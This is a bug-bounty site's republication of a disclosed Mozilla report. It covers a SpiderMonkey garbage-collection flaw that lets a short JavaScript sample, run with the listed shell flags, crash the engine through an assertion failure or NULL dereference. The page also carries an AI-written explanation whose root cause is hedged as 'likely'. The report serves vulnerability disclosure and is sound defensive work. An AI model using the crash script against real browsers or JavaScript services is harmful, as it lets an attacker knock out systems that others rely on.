Skip to content
DoS Disclosed report Advanced CVE-2021-29984

Assertion failure: !IsInsideNursery(thing) at AtomMarking.cpp:206

A JavaScript sample triggers an assertion failure in the SpiderMonkey engine's atom marking code, and release builds crash with a NULL dereference. An attacker could cause a denial of service by crashing the browser or JavaScript shell.

lukas.bernhard Follow

Originally disclosed on Mozilla

  • Fixed in 15 days
  • Paid in 16 days
  • Disclosed after 15 days

User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

Steps to reproduce:

The following sample triggers MOZ_ASSERT(!IsInsideNursery(thing)); at this location (in debug builds): https://searchfox.org/mozilla-central/rev/6550c23862b4ed287843057fd30dbae789bd9b0b/js/src/gc/AtomMarking.cpp#206 Release builds crash with a NULL-deref here: https://searchfox.org/mozilla-central/rev/6550c23862b4ed287843057fd30dbae789bd9b0b/js/src/util/Text.h#99 Older versions (e.g. git c4573875e2765595093d23b2e73cfa3a976a4ed0 from Mar 2019) crash with: Hit MOZ_CRASH(*** Zone mismatch 0x7f7c049f4000 vs. 0xfffe2f2f2f2f2f2f at argument 0) at js/src/vm/JSContext-inl.h:48

shell arguments:

obj-x86_64-pc-linux-gnu/dist/bin/js --no-threads --cpu-count=1 --ion-offthread-compile=off --baseline-warmup-threshold=10 --ion-warmup-threshold=100 crash.js
function main() {
    const v13 = []; 
    let v15 = "1";
    for (let v16 = "0"; v16 !== 65535; v16 = v16 + v15) {
        if (v16) {
            v15 = "0";
        }   
        const v21 = ["9",v16];
        Reflect.apply(String.fromCharCode,String,v21);
    }   
}
main();

The original report as published on Mozilla's Bugzilla, by lukas.bernhard. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a garbage collection bug where an atom is incorrectly marked as being inside the nursery, leading to an invalid pointer dereference.

What the attacker needed

Ability to run JavaScript

How it was found

  1. Run the JavaScript shell with the provided arguments.
  2. Execute the provided JavaScript code.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a bug in Firefox's JavaScript engine. A specially crafted script makes the engine's memory management go wrong, causing it to crash. An attacker could use this to crash a browser or a server that runs JavaScript.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by lukas.bernhard

View all

16 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.